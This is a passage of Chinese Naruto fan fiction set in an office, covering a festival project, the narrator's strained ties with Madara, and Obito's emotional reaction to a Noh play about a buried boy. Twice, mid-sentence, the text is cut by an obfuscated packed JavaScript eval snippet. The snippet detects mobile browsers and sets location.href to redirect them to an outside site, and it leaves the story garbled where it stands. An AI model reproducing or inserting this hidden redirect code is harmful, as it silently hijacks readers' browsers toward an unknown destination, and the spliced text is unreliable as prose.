我摸了摸脸,有些高兴:“真的吗?” “是啊,”明美随手拿起桌子上的咖啡,喝了一口,“项目刚交到你手里的时候,你忙到我还以为你会猝死。大热天到这里出外勤中暑被急救车送走,斑先生在会议时知道这件事,当场脸色就变了,把我们吓了一跳。” 原来还发生过这种事。难怪我在医院醒来以后,看到了病房外噤若寒蝉的护士们,还有床前臭着脸抱着手臂,威压感拉到满值的斑,差点把我再度吓晕过去。 在我醒来之后,斑旁敲侧击问过我,要不要多派点人手来帮我。 他甚至让人事部整理好了资料。一页一页翻着给我介绍履历。斑进入工作状态时的模样有股成熟稳重的气魄。 我怔怔看着他。 他是那么优秀迷人,让人移不开眼睛。 斑天赋出众的同时,还比所有人都要努力吃苦,经常是最后一个离开公司的人,有时还直接睡在公司。为了能在年底上线月之眼企划,时常一边吃豆皮寿司一边看文件。 这些背后的汗水,我都看在眼里。 如此他才能做到,谈到熟悉的工作时,姿态从容,有着举重若轻的力量。 斑所提供的,要给我打下手的,每个人的工作经验都那么璀璨夺目,压得人喘不过气。 的确,宇智波集团在业内是出了名的难进,要求极高。我能通过实习,是撞见了天大的好运,是带土先生额外留意的结果。 明美也好,斑和带土也好。 我身边的人,总是自信地散发着光芒。有着强烈鲜明的自我,不会对外界的任何事物屈服,不择手段也要夺取胜利。生命力旺盛。 太过强烈的光芒,是会让靠得太近的人眼睛刺痛,流下眼泪的。 光芒是无形的,不可捉摸,无论多么拼命追逐,也不能握住它。它总是在前方,像暴风雨夜中的灯塔,像深海迷雾里的北极星,使人在追逐的过程中,由希望一点点转向绝望。 在天才们光辉璀璨的光芒下,庸才们狭隘的小心思无处遁形。 我越听脸色越苍白。 斑大约是担心我能力不足胜任,蠢到把这么简单的事情搞砸。 我流着冷汗结结巴巴拒绝了。那之后加倍地努力,想要让他不再对我失望。 拼命过头了,结果就是把自己弄进了医院,一直到现在都在吃药。 “……你这个固执的家伙,”斑说,语气听起来有些寒心、难以置信与受伤,“你不相信我……我没想到,你居然一点都不相信我!” “这是……”我小声辩解,“这是我的项目,我的方案……” 我不会再让人抢走它们。 斑沉默了很长时间。 他注视着我胳膊上的输液管,声线冰冷。 “你到底想要折磨谁?” “……” 我低着头,捏着衣服,指甲发疼,几乎要把纽扣生生抠下来。 他会讨厌我吗? 漫长的沉默过后,斑硬邦邦地把削得坑坑洼洼的苹果摁在桌子上,冷着脸生气地离开了。 他连与我告别都忘记了。 苹果被他压得稀烂,我一点点将碎渣捡起来吃掉,尝不出味道,苦苦的,像在嚼木头。 我总是让我的朋友和家人伤心。为什么我找不到正确的,让所有人都高兴的选项? 是因为我是庸才? 是不会发芽的坏掉的种子?是漫天星辰中,无法发亮的那一颗? 是让人失望的蠢货。 我把脑袋埋进被子里,捂着嘴流了一会儿眼泪。 斑一向刚愎自用,不在乎其他人的意见。加派人手时能来询问我的想法,提供人选,已经极为罕见,是放低姿态的做法。却被我生硬地拒绝了。 那之后,他果然不再过问这件事了。带土提议要来看看进度,也被他冷着脸拦下。 或许,我的确让斑深深地失望了。 “惨白的脸色配上浓浓的黑眼圈,简直变成大熊猫了。”明美用漂亮的美甲划着咖啡杯的杯壁,心不在焉地说,“每天就像幽灵一样在公司里面飘荡。每个人都劝你休息,你总是嘴上答应,实际根本不听。有够固执的,把自己逼得太紧了啊笨蛋。” “毕竟是这么重要的项目……”我认真地说,“带土先生和斑先生那么相信我,我不想让他们再对我失望。” 职场里复杂的规则有很多,我这样的新人上手大型项目的负责人是很容易被诟病的。 如果我搞砸了,会影响到作为决策者的斑和带土的威信。 所谓连带效应,不外如是。 职场如战场,是讲究硬实力的地方。只有尽力做到最好,身后的质疑声才会消失。 “那也是公司的项目,”明美冷酷地说,“你也太傻了吧。搞砸了大不了跳槽。” 我张大嘴巴,呆滞地看着明美:“……欸?!”还可以这样吗?! 那我之前那么焦虑辛苦,加班到深夜,每天失眠是在……?!不行,不能往这个方向深思! “但、但是斑和带土是我的朋友!”我努力思考着,CPU开始冒烟,“把相信自己的朋友丢下不太好吧?” 明美差点被气笑了:“白痴!那些人没一个把你当朋友!某两个虎视眈眈的肉食系混蛋就差把狗链拴你脖子上了!我和爱理之前还打赌过:谁会第一个忍不住出手。” “欸……?” “说到底,都是你纵容的错——谁会给普通朋友送这么贵的项链啊,”明美翻了个白眼,没好气地说,“款式还那么暧昧。对方百分百会误解的……什么好人住到你家里照顾你,我说迟钝也要有个限度。被吃掉了我可不管你。” 但是这件事的受益者,应该是我才对? 明美可能对鼬有误解吧。 多亏了鼬和佐助的督促,我的一日三餐才正常起来,冰箱里的速食面早就被丢掉了,就算偷偷再买也会不翼而飞。鼬不会出言斥责我,但不赞成的目光令人坐立难安。 佐助会顺路送我上班,通勤路上,我努力和冒冷气的宇智波牌制冷空调打好关系,最近也渐渐能聊上几句了。每天有鼬做好的午餐便当,即使冷掉了也十分美味,一到午休时间就很期待。 想要勉强自己熬夜的时候会被强行抱到床上。一个人偷偷躲在卫生间哗啦哗啦放着水,捂着脸崩溃哭完以后会有甜甜的糖水吃,还有热毛巾敷眼睛。生活没有那么紧绷了,不知不觉间,用药的剂量也在减少。 对方付出了这么多,我的回礼只是一条昂贵的项 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209241|178054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 链,说起来还是我太狡猾无耻了。 “啊,不过……”她不知想到什么,又坏笑起来,将喝完的咖啡纸杯丢进垃圾桶,“挺想看总裁大人回国以后,发现你被别的家伙骗走了的表情。他那种眼高于顶的傲慢男人因为嫉妒发狂的样子真是想象不出来,有趣,想看。记得拍照发给我。” 明美甩掉斑先生以后好像因爱成恨了,真可怕。 “如果我能拍到的话……”我说,“前辈和能乐师们接洽得还顺利吗?” 明美皱了皱眉:“有几个讨人厌的家伙。不过不会耽误进度的,你就安心吧。” 我信任明美的能力。 我们在门口告别,明美临走前看了眼天空,皱着眉回过头来问我:“这里是一直都有这么多乌鸦吗?” 天边盘旋着红眼的乌鸦,有几只远远落在河岸边逐水嬉戏,梳理羽毛。 我回忆了片刻:“好像我来这里之后就有了……” 我是不是有吸引黑色小动物的能力呢?小黑猫也好,乌鸦也好,最近几个月,身边总能看见这些动物。 明美搓了搓胳膊:“阴森森的,难怪我和你说话时感觉一直被什么冷冰冰的东西盯着……真瘆人。” 我歪了脑袋:“有吗?” 明美:“……你这家伙该不会连这个都习惯了吧?平时到底是被多少双眼睛盯着看啊,真恐怖。” 她情不自禁打了个寒颤,疑神疑鬼地裹紧外套,急匆匆对我挥了挥手就离开了。临走前,给我留了一盒在银座排长队的,最近超网红的甜品店的甜甜圈。 “不是特意给你买的,”明美说,“刚好我要拍照上传Ins。吃了会长胖,但是拍完照丢掉又很浪费,你帮我解决掉。” “好的好的,”我连连点头,拼命咽口水,“谢谢前辈!” 甜甜圈散发着诱人的甜香,每一个的款式都十分可爱,令人食指大动。 我临时决定把甜甜圈当作加餐来吃,鼬做的午餐要吃,甜甜圈也要吃。我的胃部在此刻是潜力无限的。 我咬着甜甜圈去倒茶,路上遇到工人们和同事和我打招呼,一转眼,一盒甜甜圈就分得差不多了。 走到后台的时候,我停下脚步。 往常这里总是很喧闹,此时却不知怎么鸦雀无声。路过一个搬东西的工人,我拦下他询问。 “好像是有人来了,具体的我也不清楚。”他给我指了下方向,我对他道了谢。 他重新搬着箱子离开,走了几步又退回来。 我疑惑地看着他。 “无论是谁来了,都不能取代您!” 他用了敬语,神情十分认真严肃。接着重新离开了。 这家伙,我记得我刚来这里的时候,他把我当做空气,语气激烈地说我是“瞎指挥的门外汉”“指手画脚的外行人”,连招呼都不和我打。 这段时间,在我拿着工程图上蹿下跳找他们领队吵架、啊不,讨论时,有几次看到他在背后深深地看着我,对上我的视线,会不自然地把头转过去。 不知不觉间,他已经转变了这么多了啊。变得有礼貌了呢。 但为什么要对我说这种奇怪的话? 总公司要派人来取代我了吗?斑没有和我说过这件事。 又或者,斑还在对我生气当中,不想理我。 我还以为他在群组里发语音就是和我和好了呢……果然不能把所有人都当成鸣人看待啊! 佐助也好,斑也好,姓宇智波的家伙怎么都这么难懂啊!总是莫名其妙就惹他们生气。好不容易哄好了,一句话说错又晴转雨,凶巴巴地对我摆臭脸,恶狠狠地把我当解压玩具捏来咬去泄愤。 不明白他们在想什么,头好痛,好辛苦……真希望能有个好感度值显示在宇智波们的脑袋旁边,方便我选择能加好感度的选项。 我有些惴惴不安地看着工人离去的背影,深呼吸几口,将甜甜圈盒子合起来,鼓起勇气朝那个临时工作间走过去。 因为只是临时使用,隔音效果一般,靠近时,我听见低沉而充满威严的声音,冷酷地训斥着什么。 从门外就能感受到那股压迫感,令人呼吸困难。 我还以为是宇智波斑在里面,但当我把手按在门把手上时,那声音就像发现了什么似的,倏然停住了。 下一秒钟,门自己打开了。 我看见一屋子噤若寒蝉、如临大敌的人,都是这段时间的共事者。其中有几个平时目中无人、谁也不服的家伙,此刻正用衣袖偷偷擦着脑门上的冷汗,对我投来感激的目光。 我:? 带土正站在我面前,几乎要撑裂窄窄的门框,猩红色的独眼居高临下俯视着我的头顶。嗓音甜蜜,语气惊喜。 “哎呀,是给人家送甜甜圈来了吗?真体贴,好孩子好孩子!我知道喔,这么长时间没有见面,你一定想我想到茶饭不思、寝食难安……呵呵呵……” 带土脸上那枚橘黄色的漩涡面具,还挺像盒子里最后剩下的那个甜甜圈的。 他本人的表现比甜甜圈还要甜腻一百倍,宛如遇到闺蜜的、热情娇俏的女高中生,伸出与甜腻娇羞声音迥然不同的健硕臂膀,用力抱住我。 “人家也超想你的!一下飞机就抛下那个老家伙,赶快过来见你了!!” 我猝不及防“噗呃”一声,感到肺部的空气被他全部勒出来了。好像有什么灵魂从我的嘴巴里飘出来。 三途川的对面,是我过世的奶奶在对我打招呼吗……? 成佛了。 27.第 27 章 27、 幸好我和小樱是挚友,有经常被这么大力热情拥抱的经验。熟练地和三途川的奶奶叙了旧,道了别,我回过神来。 “带土怎么会来这里?”我记得他工作很忙。 “为了见你噢!” 带土说话一直都这样亲切随和,我并没有当真。 “我知道了,是来视察工作的吧!” 福灵心至,我忽然明白过来。开幕之前的检查也是必要工作之一。 “请跟我来,我为您介绍。” 我把最后一个甜甜圈递给他,他掀开面具,塞进去,然后拿出来。手上已空无一物。 咦……?这样就吃掉了吗?面具之下难道是黑洞? 见我一直盯着他看,带土忽然捂着脸(说真的,他已经戴着面具了,捂脸有什么必要吗?),大鸟依人地靠着我,发出害羞的声音:“呵呵呵,这就是所谓的一日不见如隔三秋吧……这么长时间的分离令你对我的感情更加沉重浓厚……这炙热的眼神真让人害羞,在暗示什么呢?我完全明白的,你想要和我永远都不要分离……” 只是去开了几天会而已……!不用说得像他已经死了一样吧! “还特地给人家准备了甜蜜的见面礼……!真是狡猾的女人……” 他莫名其妙喘息起来,兴奋得浑身发抖,滚烫的气流擦过我的脖颈与耳畔,我的骨头被勒得嘎吱嘎吱作响,双脚几乎悬空了:“呼啊……好可爱、真可爱。又软又小,脆弱又敏感,稍微不小心就能把你弄死掉。嗯嗯我在忍耐噢,我有在努力忍耐噢,呼哈……哈啊……暂时不会杀掉你的,还不可以杀掉你。可怜又可爱的乖孩子,在我的怀里努力地呼吸,挣扎着想要生存下去。可以噢,可以活下去,到我怀里来吧。我会把你藏到只有我一个人能发现的地方……” 我“嗯嗯啊啊”地应付着,带土头都没回,抱着我对屋内挥了下手。一屋子人霎时间松了口气,看着我的眼里写着“救世主”三个字。他们擦汗的擦汗,溜走的溜走,还有几个劫后余生在胸口画十字的。转瞬间这里就空无一人了。 带土完全像年糕一样吧唧粘在我身上蠕动,我扛着人一路介绍过去。 “这里是主舞台,这是主控室,这是游戏体验区…… “这里可以作为儿童休息区,目前还在建设当中,届时会布置相应的玩具和家长座位。考虑到来参观文化祭的目标受众,在亲子方面做准备或许能提高用户口碑。 “啊这里,原本是作为换装室使用。但用户画像出来后,我们开会时认为利用率不高。和施工方联络过后,正在拆除,后期改建成了等候区和排队区。地板上的白线还没干透,请小心不要踩到…… “这边就是互动区了,可以看一下我平板上的渲染图,活动当天应该是这样的效果。是人流量最大的区域,志愿者由明美那边负责招募和培训。安保在和警视厅方面接洽,我恰好有朋友在警视厅工作,沟通起来比较方便,节省了很多时间。 “重中之重是开幕当天的晚上的能剧表演,木叶那边帮忙联络到了很厉害的剧作家自来也老师,由他撰写剧本。虽然拖稿了很久,不过谢天谢地,有鸣、我朋友千里追杀、啊不,帮忙监督,自来也老师在死线前完稿了。剧本十分优秀,不愧是自来也老师,但有不少剧情较为激烈,不太适合出现在全年龄活动中,我们正在一边联系自来也老师协调修改,一边先大体排练出来……” 我的声音渐渐停止了。因为带土盯着我的眼神已经越来越难以忽视,滚烫而热烈,犹如实质。 随着我的叙述,带土从原先的漫不经心,变得越来越认真,到了后面,时不时会出声问上几句。 虽然发言不多,但每一句都切中要害,犹如手术刀般锋利精准。 我不过回答了几次,脑门上就满是冷汗。词句从流畅变得生涩结巴起来。 他明明没说什么难听严厉的话,却让人浑身紧绷,如临大敌。生怕哪里做错了被他发现。 我大概明白屋子里那些人在我来之前,为什么满脸恐惧心虚了。 我介绍得口干舌燥,把杯子里的茶水全部喝完了。两个人坐在主舞台第一排的座椅上休息,带土坐在我的身边,侧着脸盯着我。 他很喜欢看着我,在公司时就是这样。 但今天的眼神里多了点别的什么……更为滚烫。 带土看着我笑了下:“……固执也没什么不好,是不是?” “嗯?”我对上他的目光。 他想了想,说:“你是我看中的人,只要得到我的认可就足以。不需要在乎斑那老家伙的想法。鼬那小鬼头虽然有够讨人厌的,但他有句话没说错,年轻人有年轻人的做事方法。” 带土抬手,慢慢摘下了面具。或许是因为他知道,我不会因为他脸上可怖的伤疤而用异样的眼光注视他。 与外表不同,他是个对他人的喜爱憎恶十分敏感的男人。精神相当纤细脆弱,容易受到伤害。 他的眼神很温和,或者说,有些疲倦。 “你是年轻人,你有自己的想法和做事的节奏。而且你做得很好……说实话,虽然你的方案是我从那么多人中选出来的,但看到它真正落地,还是让我惊讶。比我想象中要……更好。” 他大概知道了我和斑之前那件事。 “就这么固执地做你自己吧。”他说,“在这个令人绝望的世界里,你的确让我看到了某种可能性。” 他变戏法似的掏出一颗糖果,剥开糖纸,笑眯眯道:“来,张嘴,啊——这是给努力干活的好孩子的奖励。” 食指抵着嘴唇,带土眯起眼睛,将糖果硬生生推进去。 尝起来是苦涩的。 我盯着放在膝盖上的手掌,看着它们慢慢蜷紧,掌心刺痛。 “但,我让斑失望了?” “我不认为他真的对你失望了,斑只是非常讨厌失控、无法掌控的感觉。我太了解那个老混蛋了,他不能允许任何事超出控制。但假如你真的让他失望了,那又怎么样?”带土冷笑了一下,“天又不会塌下来。” 我惊恐地看了他一眼。 他的话听起来很冷漠刻薄。 怨气很深。 看起来没少被斑使唤控制。 “只是个上了年纪的老家伙在那自己生闷气罢了。” 我:“……” ……带土真的不怕我偷偷告密给他穿小鞋吗! “就算你这么说……可我总是让关心我的人受伤。”我低声说。 带土把玩着面具,忽然抬手戴在我的脸上。 黑暗笼罩了下来。 像是网。 鼻腔贴合着鼻腔,嘴唇贴合着嘴唇。 我在面具内嗅到他残留的气息。 宛如糖果般甜美,又透露出危险黑暗的气息。 带土五指张开,宛如网上的蜘蛛,隔着面具,爬在我的脸上,步足摩擦着面具的边缘。 “你太容易被操纵了,只要几句话,几个眼神,你就会顺从地戴上项圈,汪汪摇尾巴。这种性格会吸引太多控制狂在身边。而当你试着反抗时,”带土说,“就有人受不了要发怒了。我不讨厌你这点,呵呵呵,多可爱呀。宠物适当的顽皮也是生活情趣的一部分,有的人不能品味这种趣味性,但我可以喔。” 总觉得他在暗示什么。 带土:“好了,那么也休息够了。我很好奇,是什么剧本让你不惜拒绝斑,也要拼命完成。” 他在我的简历里看过项目最初的雏形,但现在已经变了很大的模样。 最初,是没有主舞台表演环节的。 我是在接手项目以后,在木叶档案室资料库里翻阅最初的文化祭资料时,看到的那段视频。 由第一代火影操刀举办的第一届文化祭吸引了很多游客前来参观,但不知为何,因施工不过关造成了灾难,死伤者众多,从此沉寂多年。 木叶高层极力隐藏这件事,许多人已经对此一无所知。 但在校史库内,依旧保留着当时的资料,可以窥见那时民众的谩骂与斥责的冰山一角。 其中有一段视频资料。 将近二十年前的录像机拍摄的视频像素并不高,在制备过程中又加大了失真。画面里的人物只是一团面容模糊的马赛克彩点。 拍摄者似乎是当时灾难现场中的人,原本是来报道文化祭的记者,事件发生时,好运地站在空地,没有被波及。 在倒塌发生后,出于媒体人的职业敏感,她第一时间拍摄着倒塌的建筑物,记录下宝贵的报道资料。 但这不是吸引我注意力的东西。 我在视频画面的角落里发现一个年幼的黑发男孩。在满地奔逃的人群中,他是唯一一个坚定地朝倒塌的建筑物内走的人。 他要做什么? 我有些好奇,拖动进度条,往前滑动,看到了他第一次出场时的模样。 在晃动的、摇摇欲坠的建筑物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236226|178054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 残骸中,黑发男孩正扶着受伤的同伴从碎石块里钻出来,两个人身上都破破烂烂,满是血迹和伤痕,已是强弩之末。男孩脸上所佩戴的橙色护目镜也被碎石块砸烂,和破碎口袋里的糖果一起掉在了地上。 黑发男孩搀扶的那个女孩显然已经昏迷过去。他将女孩小心地交给跑过来的,大约是同伴的白发男孩照顾,就急急忙忙转身离开了。看样子,居然是想要回到倒塌的废墟中。 这行为违反常理,那名白发男孩理所应当地拉住他,询问为什么。背景音十分嘈杂,我利用了其他视频软件处理,才勉强听清楚黑发男孩在说什么。 “那里面还有人……嗞嗞……”那黑发男孩着急地大声说,“有个大姐姐……嗞嗞,她的腿被压住了!出不来……嗞嗞,我要去帮她!” “你疯了吗!嗞嗞……你能做什么?在这时候逞英雄?!等救援队——” “救援队来了就晚了!!” 两个男孩争吵了几句,黑发男孩实在着急,居然撕裂了被拽住的衣袖,转身钻了进去。 在他进去之后没有几秒钟,一阵轰隆巨响,这片建筑物就彻底倒塌,将他活生生埋在了下面。 “所以,”带土笑着说,“这是个没能成为英雄的蠢货的故事?” 他的语气听起来有些许讽刺。 “不。”我看着他,温柔地说,“这是个已经成为英雄的男孩的故事。” 按照我的委托要求,自来也老师创作了剧本。 能剧通常由舞蹈、谣与囃子构成。剧情常常脱离现实,有神诡之言出现。 而在能剧中,一般来说,会有一个英雄式的灵魂人物,佩戴具有特殊含义的面具,贯穿整个剧作,作为故事的讲述者与推动者。 如何选择这个最重要的“英雄”,是演出能否成功的重点。 在看到这个男孩的时候,我做出了决定。 整个能剧分为三幕,第一幕,讲述最初的故事。木叶之名的由来——“木叶飞舞之处,火亦生生不息。”,创立投资木叶的千手与宇智波在最初的关系,并不如同现在这般势如水火。 第二幕,讲述曾经的故事。令二者分道扬镳、反目成仇的,当年的灾难中,有一位无名的英雄。或许历史不应该被隐瞒,它并没有想象中那样不堪。腐烂的伤口揭开伤疤,才有痊愈的可能。 第三幕,讲述现在的故事。此时此刻,亲临现场的观众,已是剧中人。加入月之眼企划,开启你的第二个人生。 英雄应该被看见。 历史与伤疤也应该被看见。 一味隐瞒只会让伤口腐烂得更快。鸣人和水门先生也支持我的想法,为此帮我瞒过了木叶高层。 明美前辈之前告诉我,同一批投递简历的实习生里,带土先生唯独把我的方案圈了出来。 那时候他甚至不知道我是谁。 只是想要优秀的人才有能被看见的机会。 我一直在心中记得这件事。 我想做他那样的人,托举着其他人,让更多值得被“看见”的人,被大众所注视。 这是关于“英雄”的故事。 英雄不需要有多么轰轰烈烈的壮举,所有勇敢帮助他人的人,都可以是英雄。 在月之眼中,每个人都将有可能,成为自己的英雄。 带土静静地听完,掏出一颗糖果,剥开糖纸,自己慢慢地吃了。 他经常投喂我糖果,但我还是第一次看到他吃糖。 或许是猜到我想问什么。 带土说:“在我很小的时候,被我帮过的老人们,总是爱给我一颗糖果来感谢。我那时候认为,糖果是最让人得意骄傲的奖励。” 难怪他会把它当成是奖励,时常喂我吃。 糖果在牙齿间滚动,留下甜蜜的痕迹。 他慢慢地说,仿佛十分怀念,眼神落在空茫处某一点,柔软又温暖。 “我已经很多年,没尝过这个味道了。” “什么呢?” “或许是一种惩罚?”他说,“没能成为英雄的人,不应该得到奖励。” 与其说是惩罚,更像是折磨自己。 “那么现在……?” 他看着我,那只猩红色的独眼里,有眼泪突兀地滚了出来。 他狼狈地用手背去擦。 手忙脚乱的,简直像年幼的、笨拙的小孩子。 “嗯,或许我真的可能,可以成为英雄吧。”他笑着说。 28.第 28 章 28、 “为了帮助自来也老师,”我说,“我搜索了相关的资料。” 一个违背直觉的真相是,在建筑物倒塌的灾害中,大部分人的直接死因并不是被建筑重物砸死。而是因掩埋导致的窒息、砸伤引起的急性肾衰竭、颅脑损伤、内脏破裂等。 他们不是立刻就死去的。 死亡的过程漫长而折磨。 在黑暗中一动不动感知着生命的流逝、绝望与剧痛。祈求有人能来救自己。 从希望到绝望。 那等待的时间,或许比死亡本身还要痛苦。 “是啊,”带土忽然说,他看着我笑了下,“真的很疼。又疼又黑,什么也看不见,动也动不了,只能等待,很寂寞噢。” 他说得简直就像自己的亲身经历。 我看见他按着自己脸上的疤痕,发了会呆。 不知道会不会有人来救自己。不明白自己坚持痛苦的清醒是否有意义。漫长的等待与坚持,真的有意义吗? 最终等来的,到底是救援之手还是死神之触? 救赎与死亡哪一个更先到来? 自我怀疑,恐惧,懊悔,遗憾,孤独,折磨。被活生生埋在数吨重的建筑物残骸之下,没有人看见,四周一片黑暗,世界成为一个巨大的棺椁,心脏跳动,自身已是一具还活着的尸体。 那男孩明明已经从废墟中与同伴一起爬了出来,逃出生天。可还是为了救援内里的幸存者,重新走了回去。 他的背影看起来却并不那么勇敢挺拔,符合影视作品中,大众对“英雄”一词的定义。 英雄是克服了恐惧的无畏之人吗? 不,我想,英雄其实是比谁都要爱哭的胆小鬼。 正因为明白死亡的可怖,对疼痛比其他人要害怕一千万倍,才生出同理之心,不想让他人遭受这样的折磨。 我看向带土:“因此,我想,那其实是个很温柔的孩子。他有一颗善良坚强的心,把别人的痛苦看得比自己的痛苦要重要。” 带土看着我,笑着问:“即使他什么都没能做到?” 我吃力地爬上高高的舞台,呼哧呼哧喘了会儿气,张开手臂:“请看这里,带土。” “嗯?” 他把玩着掌中的面具,在舞台下抬起脸,半面疤痕在暗处。 颇具古典和风的舞台已经建设完毕,即使光源暗淡,依旧能够想象出开幕式当天,这里人潮涌动,观赏能剧的热闹场面。 “在这么多年以后,会有许多人知道英雄的故事。腐烂的创口被挖开,伤疤能有愈合的一天。无论是十年后、百年后,还是千千万万年以后,天上的星星总是那么明亮,吸引人驻足观赏。无论时移世易,不分种族性别,总有人能从英雄的故事里汲取新的力量,开始属于自己的故事。怎么能说是什么都没做到呢?”我笑着说,看到那只在狰狞伤疤簇拥之下,显得乌沉阴郁的眼睛,注视着我,慢慢亮了起来,闪烁着湿润温柔的光亮,“这不是已经做了够多的了吗——咦?” 带土表情忽然变了一下,他猛地站了起来,阴沉地回头望去。 “怎么了?” “有人在听我们说话。”他沉声说,抬手扣上面具。 我心里一紧,旋即又放松下来——我想了想,不觉得自己方才与带土的聊天里,有什么不能见人的商业机密。 文化祭有月之眼宣传的活动预热了很久,周围的民众被勾起了好奇心。这段时间一直都有好奇的人在外侧围观,偶尔还有媒体采访。 只是没有身份卡,这些人无法进入。 媒体方也一律由长袖善舞的明美前辈去游说,不仅没让这些无功而返的人生气,还令他们欢欣雀跃,认为自己得到了开幕式当天采访的宝贵机会。 但开幕式那天原本就是要邀请大批媒体参观报道的。 我对明美前辈的手段感到叹服。 既然能靠近主舞台,证明偷听的人是内部人员? 我跳下舞台,跟着带土走出去,主控室前恰好有三两个员工在热火朝天地聊天,手舞足蹈,甚至没注意到有人来了。 带土问他们有没有看到什么人在这附近。 “有啊有啊,”其中一个人十分兴奋地说,脸颊通红,“我从来没看见那么漂亮的女人!” 他们说,几分钟前,脚手架上的工人看见一位十分美丽的白发女子,被她的美貌震慑,险些从脚手架上摔了下来。 这些员工得知此事,好奇心起,想跑到主控室查监控,谁知道在门口便遇见了那白发女人。她高贵优雅,风韵成熟。美貌无双却又冰寒若玉,宛如一阵清风飘过。 尽管谁都不知道她的名字,但所有人都在见到她的第一眼就明白过来,这就是那光凭美貌就能蛊惑得人失了神,险些摔死的美人。 那魔性般的美貌简直不像人类所该拥有的,仿佛是天上月亮里生养出来的精怪。 这些人笨嘴拙舌称赞了许久那惊鸿一瞥的美丽女人,末了才叹了口气。 “怎么了?”我好奇地问。 “唉,她不良于行。” 原来那白发女人美则美矣,却是坐在轮椅上的。 无论是施工方还是集团里的员工,都没有这样的人。 而去监控查询,也没能发现任何一个人。 这女人就像精怪般,没有留下任何影像。只留在见过她的人的口中。 带土沉思片刻,忽然看了我一眼。 “……嗯?” “哎呀,招蜂引蝶的坏孩子,连同性也不放过吗?到底要让多少人成为受害者你才满意?”带土羞怯地靠着我,声音变得又甜又腻,黑沉沉的眼睛在面具后眨巴眨巴,娇嗔道,“花心的女人,负心汉!就这么想让我有危机感吗?嗯嗯,在嫉妒?” 我:“我并不认识对方……?” 能剧的内容被提前泄露,让我心里有些惴惴不安。 我签订了保密协议,尽管并不是我主动泄露给外界,但不知道带土会不会让我进行赔偿。 职业危机!! 我的脑海中闪过看过的无数部职场剧里的倒霉炮灰。 能否渡过难关就在此一举! “狡辩,出轨!” 带土不依不饶,趴在我肩头假哭起来:“呜呜呜。明明说着这样那样狡猾的话让人家哭鼻子,俘虏了人家的心,事到如今却要把我抛下?!” 我:…… ……他是不是搞错了重点? 对面那几名员工已经在瞳孔地震了。嘀嘀咕咕说着“那个魔王二号执行官大人居然还有这一面?”“当场捉奸的女高中生吗?!”之类的吐槽。 说起来魔王一号难道是宇智波斑? 好贴切的外号。 经过这次事件,我经常能在展台附近遇见笑眯眯和我打招呼的带土。 他好像比之前更加黏人了。 当然,大部分时间,他是莫名其妙地、鬼一样忽然窜出来,在我耳边甜蜜地吹气,把我吓到差点心脏骤停好几次。 难怪公司里的人都说他神出鬼没。 让我松了一口气的是,他并没有插手我的工作。只是闲逛似的旁观,偶尔询问几句。 “乌鸦的叫声真难听啊——”他拖长了音抱怨。瞥了一眼窗外天边盘旋的红眼乌鸦,忽然凑过来,在我的脸上亲了一下。 并没有真正碰到,只是借位,看起来很像亲吻。 我:咦……? 噗通一声,远方黑点似的乌鸦俯冲过来,啄木鸟似的嘟嘟嘟用鸟喙敲着玻璃窗。 我惊恐万状地看着玻璃窗上岌岌可危的裂纹。 带土露出灿烂的挑衅笑容。 他是不是和乌鸦有仇啊?? 能剧的排练差不多也进入尾声,有次我和带土观看了能乐师们的彩排。 结束后,他盯着那个戴着面具的主人公,有很长时间没说话。 我担心他太沉浸剧情中,伤了心神,结结巴巴问他还好吗,要不要稍微休息一下。 “……”他忽然笑着说,快得就像方才的沉默是我的错觉,“我发现了噢,你的性癖是救世主呀。” 要聊这个吗?我的性癖是福泽谕吉噢,印在10000円钞票上的那个神秘的男人,什么都没有做,就轻而易举地让我拜倒在他的袴下。全日本最迷人的男人。 带土:“……” “我是说这个主角。”带土说,“看得出来花了很多心思。” “欸?”以那个男孩为原型的主人公的塑造的确是最用心的,我和自来也老师讨论了许多次。 带土能看出来其中的心血,我非常开兴。 但我并没有高兴多久。 带土捂着脸看过来,用甜甜的、与他魁梧健硕的身躯完全不相符的婉转娇嗔语调抱怨:“真让人害羞,这不是完全对我情根深种了嘛。” “咦……”我慢慢地说,“带土是救世主?” “嗯嗯。” “哈哈。”我假笑了两声,“是这样啊,好厉害呢!” 带土先生毕竟也是男人呢,我一边恭维他,一边在心里虚着眼睛腹诽,男人都这样的。再帅的男人都有救世主情结,我完全懂的。 虽然不赞同上司的发言但能够睿智地敷衍过去,熟练掌握“嗯嗯是这样太厉害啦然后呢”等社畜用语。这就是我的职场智慧!独属于我的忍道! 不过那天看完彩排的带土好像的确心情有些微妙,在我和别人讨论工作内容时,他一个人坐在主舞台下,观众席第一排的座椅上。 很安静,在黑暗中一动不动,盯着早就落幕的空荡荡主舞台,不知道在想些什么。 他在我面前一直很活泼健谈,很少看到这种样子。 以至于我聊着聊着就忍不住扭过头看过去,直到被同事无意中抱怨说:“你是不是太在意执行官大人了啊。第一次看见你工作时开小差。” 我愣了一下。 在讨论结束后,我想了想,走到带土面前。 “这是什么?”他抬起头看着我。 当带土戴着面具的时候,我是看不到他的表情的。 他让我感到轻微的陌生。 像是一片复杂情绪的深渊,漆黑又冰冷。吞噬万物。 即使坐在椅子上仰视着我,他 